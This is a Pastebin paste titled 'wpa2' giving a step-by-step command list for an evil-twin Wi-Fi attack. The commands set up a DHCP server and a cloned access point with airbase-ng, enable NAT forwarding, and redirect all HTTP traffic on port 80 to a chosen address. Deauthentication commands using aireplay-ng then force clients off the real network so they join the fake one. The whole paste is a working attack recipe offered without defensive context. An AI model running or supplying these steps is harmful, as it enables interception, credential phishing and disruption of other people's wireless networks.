Advertisement
Guest User

wpa2

a guest
Feb 13th, 2012
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1. Commands:
  2.  
  3.  
  4.  
  5. Install dhcp3 and create config file:
  6. apt-get install dhcp3-server -y
  7. mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
  8. gedit /etc/dhcp3/dhcpd.conf
  9.  
  10. /etc/dhcp3/dhcpd.conf:
  11. ddns-update-style ad-hoc;
  12. default-lease-time 600;
  13. max-lease-time 7200;
  14. subnet 192.168.2.128 netmask 255.255.255.128 {
  15. option subnet-mask 255.255.255.128;
  16. option broadcast-address 192.168.2.255;
  17. option routers 192.168.2.129;
  18. option domain-name-servers 8.8.8.8;
  19. range 192.168.2.130 192.168.2.140
  20. }
  21.  
  22. Start clone access point:
  23. airmon-ng start wlan0 [channel]
  24. airbase-ng -e "AP name" -c [channel] -a mon0
  25. ifconfig at0 up
  26. ifconfig at0 192.168.2.129 netmask 255.255.255.128
  27. route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
  28. dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0
  29. /etc/init.d/dhcp3-server start
  30.  
  31. Flush iptables:
  32. iptables --flush
  33. iptables --table nat --flush
  34. iptables --delete-chain
  35. iptables --table nat --delete-chain
  36. iptables --table nat --append POSTROUTING --out-interface [internet connection] -j MASQUERADE
  37. iptables --append FORWARD --in-interface at0 -j ACCEPT
  38. echo 1 > /proc/sys/net/ipv4/ip_forward
  39.  
  40. Redirect traffic:
  41. iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination [IP address:80]
  42. iptables -t nat -A POSTROUTING -j MASQUERADE
  43.  
  44. DeAuthenticate Access Point (poor):
  45. aireplay-ng -0 0 -a [target bssid] [monitor interface]
  46.  
  47. DeAuthenticate Client (recommended):
  48. aireplay-ng -0 0 -a [target bssid] -c [client mac] [monitor interface]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement